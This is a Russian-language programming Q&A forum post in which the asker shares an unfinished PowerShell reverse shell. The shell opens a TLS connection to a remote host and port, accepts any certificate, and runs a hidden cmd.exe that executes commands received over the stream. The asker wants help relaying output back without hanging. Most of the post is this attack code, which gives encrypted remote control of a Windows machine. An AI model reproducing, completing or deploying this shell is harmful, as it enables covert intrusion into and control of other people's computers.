Обратный TLS PowerShell с поддержкой конвейеров - PullRequest
0 голосов
/ 23 марта 2020

Я знаю, что в PowerShell есть неправильные данные USB для обратной оболочки TCP, но они примитивны. Там обычно просто выполняют полученную команду, и когда процесс завершается, она отправляет обратно стандартный вывод. Когда команда запускает другую оболочку, такую ​​как diskpart netsh wmi c ... et c оболочка зависает, потому что она ожидает завершения командного процесса до sh, поскольку команда запускает другую оболочку, она просто ждет, пока процесс эта оболочка заканчивается. Эти обратные оболочки не поддерживают: Подсказки, Конвейеры, Шифрование, Цветной текст, Горячие клавиши, ... и т. Д. c

Я пытаюсь создать его, но есть проблема.

$socket = new-object net.sockets.tcpclient($args[0],$args[1])
$tcpstream = $socket.getstream()
$tlsstream = new-object net.security.sslstream($tcpstream,$false,[net.security.remotecertificatevalidationcallback]{$true})
$tlsstream.authenticateasclient('')
$tlsstreamwriter = new-object io.streamwriter($tlsstream)
$tlsstreamwriter.autoflush = $true
$tlsstreamreader = new-object io.streamreader($tlsstream)
$shellinfo = new-object diagnostics.processstartinfo
$shellinfo.filename = 'cmd.exe'
$shellinfo.createnowindow = $true
$shellinfo.useshellexecute = $false
$shellinfo.redirectstandardoutput = $true
$shellinfo.redirectstandardinput = $true
$shell = new-object diagnostics.process
$shell.startinfo = $shellinfo
$shell.start()|out-null
$stdout = $shell.standardoutput
$stdin = $shell.standardinput
$stdout|gm
while($shell.hasexited -eq $false)
{
    # Code that send stdout to tlsstream
    # If I use $tlsstreamwriter.write($stdout.readline()) readline() method send back string of next line if there is no new line in stream it waits for new one, but that will freeze the shell. Is there a way to detect when is new data is written in the TLS stream so if is no new data it will break out of loop just waiting for new command to be received and piped to stdin.
    $stdin.writeline($tlsstreamreader.readline()) #Reads the line from the tlsstream and write it to the line in stdin.
}
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...